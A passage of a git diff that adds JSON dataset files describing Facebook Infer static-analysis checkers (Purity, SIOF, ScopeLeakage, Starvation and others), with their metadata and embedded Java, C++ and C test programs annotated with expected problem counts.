@loc:{c}\n HasCounter mkHC_pure(Counter c) {\n HasCounter hc = new HasCounter();\n hc.counter = c;\n return hc;\n }\n\n // @mod:{array}, @loc:{array,f}\n Foo get_f_impure(Foo[] array, int i, Foo f) {\n Foo tmp = array[i];\n tmp.x = f.x;\n return tmp;\n }\n\n // @mod:{array}, @loc:{array,f}\n Foo[] get_array_impure(Foo[] array, int i, Foo f) {\n Foo tmp = array[i];\n tmp.x = f.x;\n return array;\n }\n\n // @mod:{array}, @loc:{p}\n Bar get_foo_via_tmp_impure(Foo[] array, int i, Foo f, Foo p) {\n Foo tmp = array[i];\n tmp.bar = f.bar;\n Foo tmp2 = tmp;\n tmp2.bar = p.bar;\n return tmp.bar;\n }\n\n // @pure, @loc:{}\n boolean copy_ref_pure_FN(int[] a, int b) {\n int[] local = a; // copy reference\n a = new int[1]; // can't detect that a becomes fresh\n a[0] = local[0]; // not modification\n return true;\n }\n\n // @mod:{a}, @loc:{}\n boolean copy_ref_impure(int[] a, int b) {\n int[] local = a; // copy reference\n a = new int[1]; // overwrite reference\n a[0] = local[0]; // not modification\n local[0] = b; // modify arg a\n b = a[0]; // not modification\n return true;\n }\n}\n" + }, + { + "testname": "PurityModeled.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\n\nclass PurityModeled {\n\n double math_random_impure() {\n return Math.random();\n }\n\n void arraycopy_pure(int[] src) {\n int[] dst = {5, 10, 20, 30, 40, 50};\n // copies an array from the specified source array\n System.arraycopy(src, 0, dst, 0, 1);\n }\n\n enum Color {\n RED,\n GREEN,\n BLUE; // values() calls clone\n }\n\n public void enum_iter_pure() {\n for (Color c : Color.values()) {}\n }\n\n @SuppressWarnings(\"unchecked\")\n void clone_pure(ArrayList list) {\n ArrayList cloned = (ArrayList) list.clone();\n cloned.add(\"\"); // no change the list\n }\n}\n" + }, + { + "testname": "Test.java", + "testlanguage": "java", + "expected-problems": 43, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\n\nclass Test {\n\n private int a = 0;\n static Integer[] global_arr;\n\n void Test(int size) {\n global_arr = new Integer[size];\n }\n\n void set_impure(int x, int y) {\n a = x + y;\n }\n\n void global_array_set_impure(int x, int y) {\n global_arr[0] = x + y;\n }\n\n int local_write_pure(int x, int y) {\n int k = x + y;\n k++;\n return k;\n }\n\n void call_pure_pure(int size) {\n for (int i = 0; i < size; i++) {\n local_write_pure(i, size);\n }\n }\n\n void call_impure_impure(int size) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_impure(i, size);\n }\n }\n\n // no change to outside state, the local allocation is ok.\n int local_alloc_pure(int x, int y) {\n ArrayList list = new ArrayList(x + y);\n for (Integer el : list) {\n call_pure_pure(el);\n }\n return list.size();\n }\n\n void parameter_field_write_impure(Test test, boolean b) {\n int c = b ? 0 : 1;\n test.a = c;\n }\n\n int parameter_field_access_pure(Test test) {\n return test.a;\n }\n\n // expected to be impure since y points to x\n void local_field_write_impure(Test x) {\n Test y = x;\n y.a = 0;\n }\n\n void swap_impure(int[] array, int i, int j) {\n int tmp = array[i];\n array[i] = array[j];\n array[j] = tmp;\n }\n\n void alias_impure(int[] array, int i, int j) {\n int[] a = array;\n a[j] = i;\n }\n\n // Currently, we can't distinguish between returning new Objects or\n // creating new Objects locally. Ideally, the latter should be fine\n // as long as it doesn't leak to the result.\n public ArrayList emptyList_impure_FP() {\n return new ArrayList();\n }\n\n // All unmodeled calls will be marked as modifying global state\n static long systemNanoTime_impure() {\n return System.nanoTime();\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json new file mode 100644 index 0000000..31176cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json @@ -0,0 +1,15 @@ +{ + "name": "SILValidation", + "language": [ + "java" + ], + "description": "This checker validates that all SIL instructions in all procedure bodies conform to a \\\n (front-end specific) subset of SIL.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 298, + "branches": 33, + "apis": 106, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json new file mode 100644 index 0000000..5243677 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json @@ -0,0 +1,100 @@ +{ + "name": "SIOF", + "language": [ + "clang" + ], + "description": "Catches Static Initialization Order Fiascos in C++, that can lead to subtle, \\\n compiler-version-dependent errors.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 267, + "branches": 35, + "apis": 69, + "test": [ + { + "testname": "by_ref.cpp", + "testlanguage": "c++", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nextern const std::string dangerous_object;\n\nconst std::string* init_pointer_by_ref_to_dangerous_global_good = {\n &dangerous_object};\nconst std::string init_pointer_by_val_to_dangerous_global_bad =\n dangerous_object;\n" + }, + { + "testname": "const.cpp", + "testlanguage": "c++", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nint mult(int a, int b);\n\nconst int const_y = 32; // harmless global\nconst int const_x = 52 * const_y; // harmless\nint constexpr z =\n const_x / const_y + 1; // user guarantees it is harmless with constexpr\nint u = mult(32, 52); // potentially in need of initialization\n" + }, + { + "testname": "const_use.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nextern const int const_x;\nextern const int const_y;\nextern int z;\nextern int u;\n\nint use_x = const_x + 1;\nint use_y = const_y + 1;\nint use_z = z + 1;\nint use_u = u + 1;\n" + }, + { + "testname": "duplicate_reports.cpp", + "testlanguage": "c++", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \"siof_types.h\"\n\nextern SomeNonPODObject rick;\nextern SomeNonPODObject dangerous;\n\nvoid access_rick() { rick.some_method(); }\nvoid nested_access() {\n access_rick();\n dangerous.some_method();\n access_rick();\n}\nvoid nested_nested_access() {\n access_rick();\n nested_access();\n rick.some_method();\n}\n\nstruct X {\n X() {\n access_rick();\n rick.some_method();\n nested_access();\n nested_access();\n dangerous.some_method();\n nested_nested_access();\n }\n};\n\nX many_paths_to_siof_bad;\n" + }, + { + "testname": "include_iostream.cpp", + "testlanguage": "c++", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid safe_streams() {\n std::cout << \"yay I'm safe thanks to having included \";\n}\n" + }, + { + "testname": "pod_across_translation_units-1.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nextern int foo();\nint bar() { return foo(); }\nint baz() { return bar(); }\nstatic int x = baz(); // BAD: report SIOF here\nstatic int x1 = x; // do not report here\nstatic int x2 = x1; // do not report here\n" + }, + { + "testname": "pod_across_translation_units-2.cpp", + "testlanguage": "c++", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint goo();\n\nstatic int y = goo();\n\nint foo() { return y; }\n" + }, + { + "testname": "pod_same_translation_unit.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint same_tu_foo();\nint same_tu_goo();\n\n// BAD: report SIOF here\n// This may not get the initialized value for y.\n// Infer doesn't yet report here because it only looks across translation units.\nint same_tu_x = same_tu_foo();\nint same_tu_y = same_tu_goo();\n\nint same_tu_foo() { return same_tu_y; }\n\nint same_tu_goo() { return 42; }\n" + }, + { + "testname": "siof.cpp", + "testlanguage": "c++", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"siof_types.h\"\n\nextern SomeNonPODObject extern_global_object;\nSomeNonPODObject global_object;\nextern int access_to_non_pod();\nvoid safe_streams();\n\nstruct SomeOtherNonPODObject {\n SomeOtherNonPODObject() {\n global_object.some_method(); // OK, same translation unit\n extern_global_object.some_method(); // bad, different translation unit\n };\n\n SomeOtherNonPODObject(int i) {\n global_object.some_method(); // OK, same translation unit\n safe_streams(); // OK, that function is SIOF safe\n };\n};\n\nSomeOtherNonPODObject another_global_object_bad;\nSomeOtherNonPODObject another_global_object2_bad(access_to_non_pod());\nSomeOtherNonPODObject another_global_object3_bad(access_to_templated_non_pod());\nSomeOtherNonPODObject another_global_object4_good(42);\n\nint pod_accesses_non_pod_bad = access_to_non_pod();\n\nstruct X {\n static int static_pod_accesses_non_pod_bad;\n};\n\nint X::static_pod_accesses_non_pod_bad = access_to_non_pod();\n\nSomeNonPODObject initWithStatic_good = getFunctionStaticNonPOD();\nSomeNonPODObject initWithGlobal_bad = getGlobalNonPOD();\n\nSomeNonPODObject initWithGlobalAllowListed_good = getGlobalNonPODAllowListed();\n\nSomeNonPODObject initWithGlobalAllowListedNamespaced_good =\n allow_listed::getGlobalNonPOD();\n\nSomeNonPODObject initWithGlobalAllowListedTemplated_good =\n allow_listed::TemplatedObject::getGlobalNonPOD();\n\n// not declared constexpr but actually constexpr\nextern SomeConstexprObject& getGlobalConstexpr();\nSomeConstexprObject initWithConstexpr_good = getGlobalConstexpr();\nSomeConstexprObject initArrayWithConstexprs_good[] = {\n getGlobalConstexpr(), getGlobalConstexpr(), getGlobalConstexpr()};\n\nextern SomeTemplatedConstexprObject& getGlobalTemplatedConstexpr();\nSomeTemplatedConstexprObject initWithTemplatedConstexpr_good =\n getGlobalTemplatedConstexpr();\n" + }, + { + "testname": "siof_different_tu.cpp", + "testlanguage": "c++", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"siof_types.h\"\n\nSomeNonPODObject global_object2;\nSomeNonPODObject some_other_global_object2;\n\nint access_to_non_pod() {\n global_object2.some_method();\n // access several global objects to check that we group the reports together\n some_other_global_object2.some_method();\n return 5;\n}\n\nSomeTemplatedNonPODObject global_object3;\n\nint access_to_templated_non_pod() { return global_object3.some_method(); }\n\nSomeNonPODObject& getFunctionStaticNonPOD() {\n static SomeNonPODObject instance;\n return instance;\n}\n\nSomeNonPODObject& getGlobalNonPOD() {\n some_other_global_object2.some_method();\n return global_object2;\n}\n\nSomeNonPODObject& getGlobalNonPODWhitelisted() {\n some_other_global_object2.some_method();\n return global_object2;\n}\n\n// initialise static class field\nSomeConstexprObject SomeConstexprObject::instance_;\n\nSomeConstexprObject& getGlobalConstexpr() {\n return SomeConstexprObject::singletonMethod();\n}\n\nnamespace allow_listed {\n\nSomeNonPODObject& getGlobalNonPOD() {\n some_other_global_object2.some_method();\n return global_object2;\n}\n\ntemplate \nSomeNonPODObject& TemplatedObject::getGlobalNonPOD() {\n some_other_global_object2.some_method();\n return global_object2;\n}\n\n// instantiate template so that infer analyses it\ntemplate struct TemplatedObject;\n} // namespace allow_listed\n\n// initialize static class field\ntemplate \nSomeTemplatedConstexprObject SomeTemplatedConstexprObject::instance_;\nSomeTemplatedConstexprObject& getGlobalTemplatedConstexpr() {\n return SomeTemplatedConstexprObject::singletonMethod();\n}\n" + }, + { + "testname": "siof_templated.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"siof_types.h\"\n\nextern SomeTemplatedNonPODObject extern_global_object;\n\nSomeTemplatedNonPODObject global_template_object;\n\ntemplate \nstruct SomeOtherTemplatedNonPODObject {\n SomeOtherTemplatedNonPODObject() {\n global_template_object.some_method(); // OK, same translation unit\n extern_global_object.some_method(); // bad, different translation unit\n }\n\n SomeOtherTemplatedNonPODObject(int i) {\n global_template_object.some_method(); // OK, same translation unit\n }\n\n SomeOtherTemplatedNonPODObject(int i, int j) {\n // OK: declared in another file but instantiated in this translation unit\n someTemplatedStatic.some_method();\n }\n};\n\nSomeOtherTemplatedNonPODObject another_templated_global_object_bad;\nSomeOtherTemplatedNonPODObject another_templated_global_object2_bad(\n access_to_non_pod());\nSomeOtherTemplatedNonPODObject another_templated_global_object3_bad(\n access_to_templated_non_pod());\nSomeOtherTemplatedNonPODObject another_templated_global_object4_good(42);\nSomeOtherTemplatedNonPODObject access_variable_template_ok(32, 52);\n" + }, + { + "testname": "smart_pointer1.cpp", + "testlanguage": "c++", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \"smart_pointer1.h\"\n\nstd::unique_ptr InitWithConstexprStaticOK::foo_smart_pointer_;\n" + }, + { + "testname": "smart_pointer2.cpp", + "testlanguage": "c++", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \"smart_pointer1.h\"\n\nInitWithConstexprStaticOK initWithConstexprStaticOk;\n" + }, + { + "testname": "std_ios_base_init.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nnamespace std {\nextern std::istream cin;\nextern std::wistream wcin;\nextern std::ostream cerr;\nextern std::wostream wcerr;\nextern std::ostream clog;\nextern std::wostream wclog;\nextern std::ostream cout;\nextern std::wostream wcout;\n}; // namespace std\n\nvoid printing_no_SIOF() {\n std::ios_base::Init ioInit;\n std::cerr << \"it's ok to print here\";\n}\n\nvoid printing_SIOF() {\n std::cerr << \"I forgot to initialize std::cerr so I might not see this error \"\n \"message!\";\n}\n\nint return_4_SIOF() {\n printing_SIOF();\n return 4;\n}\n\nvoid print_from_function_call() { std::cout << \"I can even print here\"; }\n\nint return_4_no_SIOF() {\n printing_no_SIOF();\n std::clog << \"I can even print here with clog\";\n std::wclog << \"I can even print here with wclog\";\n std::cout << \"I can even print here with cout\";\n std::wcout << \"I can even print here with wcout\";\n std::cerr << \"I can even print here with cerr\";\n std::wcerr << \"I can even print here with wcerr\";\n int x;\n std::cin >> x;\n std::wcin >> x;\n print_from_function_call();\n return 4;\n}\n\nint global_std_cerr_access_bad = return_4_SIOF();\nint global_std_cerr_access_good = return_4_no_SIOF();\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json new file mode 100644 index 0000000..a1e714d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json @@ -0,0 +1,82 @@ +{ + "name": "ScopeLeakage", + "language": [ + "java" + ], + "description": "The Java/Kotlin checker takes into account a set of \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 799, + "branches": 70, + "apis": 155, + "test": [ + { + "testname": "Box.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class Box {\n final String name;\n\n public Box(String name) {\n this.name = name;\n }\n}\n" + }, + { + "testname": "BoxProvider.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class BoxProvider {\n\n // Should generate scope\n public static Box get(String name, ScopedClass scoped) {\n return new Box(name);\n }\n\n // Should not generate scope since its parameters aren't scoped\n public static Box get(String name) {\n return new Box(name);\n }\n\n // Should not generate scope since its name is not in generator config\n public static Box getBox(String name) {\n return new Box(name);\n }\n}\n" + }, + { + "testname": "Factory.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class Factory {\n public static T make(Class c) {\n T result = null;\n try {\n result = c.getDeclaredConstructor().newInstance();\n } catch (NoSuchMethodException e) {\n } catch (java.lang.reflect.InvocationTargetException e) {\n } catch (InstantiationException e) {\n } catch (IllegalAccessException e) {\n }\n return result;\n }\n}\n" + }, + { + "testname": "Inner.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class Inner {}\n" + }, + { + "testname": "InnerScope.java", + "testlanguage": "java", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class InnerScope {\n public static Box getBox(Class c) {\n return new Box(c.getName());\n }\n\n public static ScopedClass getScopedClass() {\n return new ScopedClass();\n }\n}\n" + }, + { + "testname": "Middle.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class Middle {}\n" + }, + { + "testname": "MultiLevel.java", + "testlanguage": "java", + "expected-problems": 17, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n@ScopeType(value = Outer.class)\npublic class MultiLevel {\n\n // An error that requires interprocedural analysis to consider chains of fields.\n public final Level3 f3_bad = new Level3();\n // public final Level2 f2_bad = new Level2();\n // public final Level1 f1_bad = new Level1();\n // public final Leaf f0_leaf_bad = new Leaf();\n}\n\n@ScopeType(value = Inner.class)\nclass Leaf {\n public Leaf() {}\n}\n\nclass Level1 {\n public final Leaf f1 = new Leaf();\n\n public Level1() {}\n}\n\nclass Level2 {\n public final Level1 f2 = new Level1();\n}\n\nclass Level3 {\n public final Level2 f3 = new Level2();\n}\n" + }, + { + "testname": "Outer.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class Outer {}\n" + }, + { + "testname": "OuterHoldsInner.java", + "testlanguage": "java", + "expected-problems": 45, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass AnonymousBox {\n public Object f;\n}\n\n@ScopeType(value = Outer.class)\npublic class OuterHoldsInner {\n // Simple error, requires basic analysis of types, fields, and annotations.\n public final InnerScopedClass u_bad = OuterHoldsInner.getMethod();\n\n // An error that requires recognizing scope generating methods.\n public final Box l_bad = InnerScope.getBox(InnerScopedClass.class);\n\n // An error that requires recognizing scope generating methods via return types.\n public final ScopedClass l_bad_2 = InnerScope.getScopedClass();\n\n // An error that requires recognizing scope generating methods via class suffix + method names +\n // parameter types\n public final Box l_bad_3 = BoxProvider.get(\"foo\", new ScopedClass());\n\n public final Box l_good = BoxProvider.get(\"foo\");\n\n public final Box l_good_2 = BoxProvider.getBox(\"foo\");\n\n // An error that requires analyzing the code in the constructor.\n public final Object o_bad = OuterHoldsInner.getMethod();\n\n public Object f_good = new Object();\n\n public Object indirect_bad = new Object();\n\n public Object[] arr_bad = new Object[1];\n\n // An error that requires taking annotations on interfaces into account.\n public final ExtendsInnerClassViaInterface f_interface = new ExtendsInnerClassViaInterface();\n\n // An error that requires taking super types into account.\n public final ExtendsInnerScopedClass ex_bad = new ExtendsInnerScopedClass();\n\n // An error that requires analyzing arrays.\n public final InnerScopedClass[] InnerArr_bad = new InnerScopedClass[5];\n\n // An error that requires interprocedural analysis to consider chains of fields.\n public final MiddleInnerScopedClass middle_bad = new MiddleInnerScopedClass();\n\n // An error that requires modeling reflection-based factory methods.\n public final Object FN_inner_via_factory = Factory.make(InnerScopedClass.class);\n\n public Object anon_box_holder_bad;\n\n public OuterHoldsInner() {\n AnonymousBox b = new AnonymousBox();\n b.f = new InnerScopedClass();\n // An error that requires tracking field assignments to variables other\n // than 'this' ('b' in this case).\n anon_box_holder_bad = b;\n }\n\n public static InnerScopedClass getMethod() {\n return new InnerScopedClass();\n }\n}\n\nclass IndirectAssign {\n public IndirectAssign() {\n OuterHoldsInner a = new OuterHoldsInner();\n // An erroneous assignment to an object of a different class than this one.\n a.indirect_bad = new InnerScopedClass();\n\n // An erroneous assignment via an array.\n OuterHoldsInner[] arr = new OuterHoldsInner[1];\n arr[0].indirect_bad = new InnerScopedClass();\n\n // An erroneous assignment via an array. Currently, a false negative.\n a.arr_bad[0] = new InnerScopedClass();\n }\n}\n\nclass OuterHoldsInnerEx extends OuterHoldsInner {\n // An error that requires analysis this type's super types.\n public final InnerScopedClass xu_bad = OuterHoldsInner.getMethod();\n\n // An error that requires analysis of the field's super types.\n public final ExtendsInnerScopedClass xus_bad = new ExtendsInnerScopedClass();\n\n // An error that requires analyzing the annotations of interfaces.\n public final ExtendsInnerClassViaInterface f_interface_bad = new ExtendsInnerClassViaInterface();\n}\n\n@ScopeType(value = Inner.class)\nclass InnerScopedClass {\n public InnerScopedClass() {}\n}\n\nclass ExtendsInnerScopedClass extends InnerScopedClass {\n public ExtendsInnerScopedClass() {}\n}\n\n@ScopeType(value = Inner.class)\ninterface InnerInterface {}\n\nclass ExtendsInnerClassViaInterface implements InnerInterface {\n public ExtendsInnerClassViaInterface() {}\n}\n\nclass MiddleInnerScopedClass {\n public final InnerScopedClass f = new InnerScopedClass();\n\n public MiddleInnerScopedClass() {}\n}\n" + }, + { + "testname": "ScopedClass.java", + "testlanguage": "java", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass ScopedClass {}\n" + }, + { + "testname": "ScopeType.java", + "testlanguage": "java", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\n\n@Retention(RetentionPolicy.RUNTIME)\n@interface ScopeType {\n // The scope type\n Class value();\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json new file mode 100644 index 0000000..c1af2a0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json @@ -0,0 +1,15 @@ +{ + "name": "SelfInBlock", + "language": [ + "clang" + ], + "description": "An Objective-C-specific analysis to detect when a block captures `self`.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 692, + "branches": 85, + "apis": 116, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json new file mode 100644 index 0000000..606424e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json @@ -0,0 +1,15 @@ +{ + "name": "StaticConstructorStallChecker", + "language": [ + "clang" + ], + "description": "Detect if dispatch_once is called from a static constructor.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 91, + "branches": 10, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json new file mode 100644 index 0000000..2de0800 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json @@ -0,0 +1,299 @@ +{ + "name": "Starvation", + "language": [ + "clang", + "java" + ], + "description": "Detect various kinds of situations when no progress is being made because of \\\n concurrency errors.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 865, + "branches": 102, + "apis": 144, + "test": [ + { + "testname": "basic.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct BasicMut {\n int blah;\n};\nvoid pthread_mutex_lock(struct BasicMut*);\nvoid pthread_mutex_lock1(struct BasicMut*);\nvoid pthread_mutex_unlock(struct BasicMut*);\n\nstruct BasicMut m1;\nstruct BasicMut m2;\n\nint simple_null_pointer() {\n pthread_mutex_lock1(&m1);\n pthread_mutex_lock(&m2);\n pthread_mutex_unlock(&m2);\n pthread_mutex_unlock(&m1);\n return 0;\n}\n\nint null_pointer_interproc() {\n pthread_mutex_lock(&m2);\n pthread_mutex_lock1(&m1);\n pthread_mutex_unlock(&m1);\n pthread_mutex_unlock(&m2);\n return 1;\n}\n" + }, + { + "testname": "dynamic_alloc.c", + "testlanguage": "c", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct FakeMut {\n int blah;\n};\nvoid pthread_mutex_lock(struct FakeMut*);\nvoid pthread_mutex_lock1(struct FakeMut*);\nvoid pthread_mutex_unlock(struct FakeMut*);\nvoid* malloc(unsigned long);\n\nstruct FakeMut global_m1;\n\nstruct MutexWrapper {\n struct FakeMut* mutex;\n};\n\nstruct Wrapper {\n struct FakeMut* m1;\n struct MutexWrapper m2;\n void (*fn1)(struct Wrapper*);\n};\n\nstruct SomethingElse {\n int foo;\n};\n\nstruct SomethingElse some_global;\n\nvoid mutex_wrapper_lock(struct MutexWrapper w) { pthread_mutex_lock(w.mutex); }\n\nvoid lock_m2_and_do_soemthing_else(struct SomethingElse* other) {\n pthread_mutex_lock(&global_m1);\n}\n\nvoid wrap_lock_direct(struct FakeMut* m) { pthread_mutex_lock(m); }\n\nvoid wrap_locking_m2(struct Wrapper* str) { mutex_wrapper_lock(str->m2); }\n\nint m1_then_m2(struct Wrapper* s) {\n wrap_lock_direct(s->m1);\n struct Wrapper s1 = *s;\n (*s1.fn1)(s);\n struct SomethingElse* other = malloc(100);\n lock_m2_and_do_soemthing_else(other);\n pthread_mutex_unlock(&global_m1);\n pthread_mutex_unlock(s->m2.mutex);\n pthread_mutex_unlock(s->m1);\n return 0;\n}\n\nint simple_locking(struct Wrapper* s) {\n pthread_mutex_lock(&global_m1);\n pthread_mutex_lock(s->m2.mutex);\n pthread_mutex_lock(s->m1);\n pthread_mutex_unlock(s->m1);\n pthread_mutex_unlock(s->m2.mutex);\n pthread_mutex_unlock(&global_m1);\n return 1;\n}\n" + }, + { + "testname": "function_pointer.c", + "testlanguage": "c", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct FakeMut {\n int blah;\n};\nvoid pthread_mutex_lock(struct FakeMut*);\nvoid pthread_mutex_unlock(struct FakeMut*);\n\nstruct FakeMut m1_fptr;\nstruct FakeMut m2_fptr;\n\nvoid lock_m2_fptr_indirectly() { pthread_mutex_lock(&m2_fptr); }\n\nvoid (*LOCK_M2_INDIRECTLY)(void) = &lock_m2_fptr_indirectly;\n\nint lock_m2_fptr_m1_fptr_function_pointer() {\n pthread_mutex_lock(&m1_fptr);\n (*LOCK_M2_INDIRECTLY)();\n pthread_mutex_unlock(&m2_fptr);\n pthread_mutex_unlock(&m1_fptr);\n return 0;\n}\n\nint lock_m2_fptr_m1_fptr_no_function_pointer() {\n pthread_mutex_lock(&m2_fptr);\n pthread_mutex_lock(&m1_fptr);\n pthread_mutex_unlock(&m1_fptr);\n pthread_mutex_unlock(&m2_fptr);\n return 1;\n}\n" + }, + { + "testname": 